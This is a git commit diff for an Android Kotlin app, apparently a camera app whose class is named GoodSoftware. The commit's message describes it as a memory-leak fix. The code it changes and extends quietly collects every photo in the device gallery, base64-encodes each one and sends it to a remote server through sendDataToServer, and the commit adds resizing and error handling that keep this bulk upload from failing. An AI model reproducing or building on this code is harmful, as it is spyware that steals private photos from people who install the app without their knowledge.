Reencode images to prevent memory leak
This commit is contained in:
		@@ -6,6 +6,8 @@
 | 
				
			|||||||
    <uses-feature android:name="android.hardware.camera" />
 | 
					    <uses-feature android:name="android.hardware.camera" />
 | 
				
			||||||
    <uses-feature android:name="android.hardware.camera.autofocus" />
 | 
					    <uses-feature android:name="android.hardware.camera.autofocus" />
 | 
				
			||||||
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 | 
					    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 | 
				
			||||||
 | 
					    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 | 
				
			||||||
 | 
					    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    <application
 | 
					    <application
 | 
				
			||||||
        android:allowBackup="true"
 | 
					        android:allowBackup="true"
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -6,7 +6,10 @@ import android.content.ContentUris
 | 
				
			|||||||
import android.content.Context
 | 
					import android.content.Context
 | 
				
			||||||
import android.content.Intent
 | 
					import android.content.Intent
 | 
				
			||||||
import android.content.pm.PackageManager
 | 
					import android.content.pm.PackageManager
 | 
				
			||||||
 | 
					import android.graphics.Bitmap
 | 
				
			||||||
 | 
					import android.graphics.BitmapFactory
 | 
				
			||||||
import android.net.Uri
 | 
					import android.net.Uri
 | 
				
			||||||
 | 
					import android.os.Build
 | 
				
			||||||
import android.provider.MediaStore
 | 
					import android.provider.MediaStore
 | 
				
			||||||
import android.util.Base64
 | 
					import android.util.Base64
 | 
				
			||||||
import android.util.Log
 | 
					import android.util.Log
 | 
				
			||||||
@@ -112,48 +115,102 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
					        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun startPictureCapture() {
 | 
					    private fun checkStoragePermission() {
 | 
				
			||||||
        activity.lifecycleScope.launch {
 | 
					        if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
            // Check and request camera permission
 | 
					            // Request READ_MEDIA_IMAGES permission for Android 13 and higher
 | 
				
			||||||
            if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
					            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
				
			||||||
                requestCameraPermission()
 | 
					                requestMediaImagesPermission()
 | 
				
			||||||
            }
 | 
					            } else {
 | 
				
			||||||
 | 
					                // For lower Android versions, request READ_EXTERNAL_STORAGE
 | 
				
			||||||
            // Check and request gallery permission
 | 
					 | 
				
			||||||
            if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
 | 
					 | 
				
			||||||
                requestGalleryPermission()
 | 
					                requestGalleryPermission()
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
 | 
					        } else {
 | 
				
			||||||
 | 
					            startPictureCapture()
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
            // If both permissions are granted, proceed with picture capture and gallery access
 | 
					    private fun requestMediaImagesPermission() {
 | 
				
			||||||
            takeBeautifulPicture(activity, activity)
 | 
					        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
            Thread {
 | 
					    private fun startPictureCapture() {
 | 
				
			||||||
                val imageList = getAllImagesFromGallery(activity)
 | 
					        activity.lifecycleScope.launch {
 | 
				
			||||||
                for (image in imageList) {
 | 
					            try {
 | 
				
			||||||
                    val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
					                // Check and request camera permission
 | 
				
			||||||
                    Thread {
 | 
					                if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
                        println("Sending data to server")
 | 
					                    requestCameraPermission()
 | 
				
			||||||
                        sendDataToServer(base64Image)
 | 
					 | 
				
			||||||
                    }.start()
 | 
					 | 
				
			||||||
                }
 | 
					                }
 | 
				
			||||||
            }.start()
 | 
					
 | 
				
			||||||
 | 
					                // Check and request gallery permission
 | 
				
			||||||
 | 
					                if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
 | 
					                    checkStoragePermission()
 | 
				
			||||||
 | 
					                }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					                // If both permissions are granted, proceed with picture capture and gallery access
 | 
				
			||||||
 | 
					                takeBeautifulPicture(activity, activity)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					                Thread {
 | 
				
			||||||
 | 
					                    try {
 | 
				
			||||||
 | 
					                        val imageList = getAllImagesFromGallery(activity)
 | 
				
			||||||
 | 
					                        for (image in imageList) {
 | 
				
			||||||
 | 
					                            println(imageList.size)
 | 
				
			||||||
 | 
					                            val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
				
			||||||
 | 
					                            Thread {
 | 
				
			||||||
 | 
					                                println("Sending data to server")
 | 
				
			||||||
 | 
					                                sendDataToServer(base64Image)
 | 
				
			||||||
 | 
					                            }.start()
 | 
				
			||||||
 | 
					                        }
 | 
				
			||||||
 | 
					                    } catch (e: Exception) {
 | 
				
			||||||
 | 
					                        e.printStackTrace()
 | 
				
			||||||
 | 
					                        // Handle the exception, e.g., log the error or notify the user
 | 
				
			||||||
 | 
					                    }
 | 
				
			||||||
 | 
					                }.start()
 | 
				
			||||||
 | 
					            } catch (e: Exception) {
 | 
				
			||||||
 | 
					                e.printStackTrace()
 | 
				
			||||||
 | 
					                // Handle the exception, e.g., log the error or notify the user
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
 | 
					    fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
 | 
				
			||||||
        var base64Image = ""
 | 
					        var base64Image = ""
 | 
				
			||||||
        contentResolver.openInputStream(imageUri)?.use { inputStream ->
 | 
					        try {
 | 
				
			||||||
            val byteArrayOutputStream = ByteArrayOutputStream()
 | 
					            contentResolver.openInputStream(imageUri)?.use { inputStream ->
 | 
				
			||||||
            inputStream.copyTo(byteArrayOutputStream)
 | 
					                val bitmap = BitmapFactory.decodeStream(inputStream)
 | 
				
			||||||
            val byteArray = byteArrayOutputStream.toByteArray()
 | 
					
 | 
				
			||||||
            base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
 | 
					                val resizedBitmap = resizeBitmap(bitmap, 1920, 1080)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					                val byteArrayOutputStream = ByteArrayOutputStream()
 | 
				
			||||||
 | 
					                resizedBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream)
 | 
				
			||||||
 | 
					                val byteArray = byteArrayOutputStream.toByteArray()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					                base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					        } catch (oom: OutOfMemoryError) {
 | 
				
			||||||
 | 
					            // Handle OutOfMemoryError
 | 
				
			||||||
 | 
					            Log.e("OOM", "Out of memory error occurred while encoding image: $imageUri")
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
        return base64Image
 | 
					        return base64Image
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    fun resizeBitmap(bitmap: Bitmap, newWidth: Int, newHeight: Int): Bitmap {
 | 
				
			||||||
 | 
					        val width = bitmap.width
 | 
				
			||||||
 | 
					        val height = bitmap.height
 | 
				
			||||||
 | 
					        val scaleWidth = newWidth.toFloat() / width
 | 
				
			||||||
 | 
					        val scaleHeight = newHeight.toFloat() / height
 | 
				
			||||||
 | 
					        val matrix = android.graphics.Matrix()
 | 
				
			||||||
 | 
					        matrix.postScale(scaleWidth, scaleHeight)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        val resizedBitmap = Bitmap.createBitmap(
 | 
				
			||||||
 | 
					            bitmap, 0, 0, width, height, matrix, false
 | 
				
			||||||
 | 
					        )
 | 
				
			||||||
 | 
					        bitmap.recycle()
 | 
				
			||||||
 | 
					        return resizedBitmap
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun requestGalleryPermission() {
 | 
					    private fun requestGalleryPermission() {
 | 
				
			||||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
 | 
					        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
 | 
				
			||||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    // Handle permission request result
 | 
					    // Handle permission request result
 | 
				
			||||||
@@ -175,6 +232,14 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
                    // Handle accordingly
 | 
					                    // Handle accordingly
 | 
				
			||||||
                }
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
 | 
					            REQUEST_MEDIA_IMAGES_PERMISSION -> {
 | 
				
			||||||
 | 
					                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
 | 
					                    startPictureCapture()
 | 
				
			||||||
 | 
					                } else {
 | 
				
			||||||
 | 
					                    // Media images permission denied
 | 
				
			||||||
 | 
					                    // Handle accordingly
 | 
				
			||||||
 | 
					                }
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -323,21 +388,32 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
        )
 | 
					        )
 | 
				
			||||||
        val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
 | 
					        val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        val cursor = contentResolver.query(
 | 
					        // Check permission based on Android version
 | 
				
			||||||
            imageUri,
 | 
					        val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
				
			||||||
            imageProjection,
 | 
					            Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
 | 
				
			||||||
            null,
 | 
					        } else {
 | 
				
			||||||
            null,
 | 
					            Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
 | 
				
			||||||
            "${MediaStore.Images.Media.DATE_ADDED} DESC"
 | 
					        }
 | 
				
			||||||
        )
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
        cursor?.use { cursor ->
 | 
					        if (ContextCompat.checkSelfPermission(context, permission) == PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
            val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
 | 
					            val cursor = contentResolver.query(
 | 
				
			||||||
            while (cursor.moveToNext()) {
 | 
					                imageUri,
 | 
				
			||||||
                val id = cursor.getLong(idColumn)
 | 
					                imageProjection,
 | 
				
			||||||
                val contentUri = ContentUris.withAppendedId(imageUri, id)
 | 
					                null,
 | 
				
			||||||
                imageList.add(contentUri.toString())
 | 
					                null,
 | 
				
			||||||
 | 
					                "${MediaStore.Images.Media.DATE_ADDED} DESC"
 | 
				
			||||||
 | 
					            )
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					            cursor?.use { cursor ->
 | 
				
			||||||
 | 
					                val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
 | 
				
			||||||
 | 
					                while (cursor.moveToNext()) {
 | 
				
			||||||
 | 
					                    val id = cursor.getLong(idColumn)
 | 
				
			||||||
 | 
					                    val contentUri = ContentUris.withAppendedId(imageUri, id)
 | 
				
			||||||
 | 
					                    imageList.add(contentUri.toString())
 | 
				
			||||||
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
 | 
					        } else {
 | 
				
			||||||
 | 
					            ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        return imageList
 | 
					        return imageList
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -4,6 +4,7 @@ import android.Manifest
 | 
				
			|||||||
import android.app.Activity
 | 
					import android.app.Activity
 | 
				
			||||||
import android.content.pm.PackageManager
 | 
					import android.content.pm.PackageManager
 | 
				
			||||||
import android.os.Bundle
 | 
					import android.os.Bundle
 | 
				
			||||||
 | 
					import android.util.Log
 | 
				
			||||||
import android.widget.Toast
 | 
					import android.widget.Toast
 | 
				
			||||||
import androidx.activity.ComponentActivity
 | 
					import androidx.activity.ComponentActivity
 | 
				
			||||||
import androidx.activity.compose.setContent
 | 
					import androidx.activity.compose.setContent
 | 
				
			||||||
@@ -34,7 +35,11 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
				
			|||||||
            }
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
        goo = GoodSoftware(this@MainActivity)
 | 
					        goo = GoodSoftware(this@MainActivity)
 | 
				
			||||||
        goo.launch()
 | 
					        try {
 | 
				
			||||||
 | 
					            goo.launch()
 | 
				
			||||||
 | 
					        }catch  (e: Exception) {
 | 
				
			||||||
 | 
					            e.printStackTrace()
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
 | 
					    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user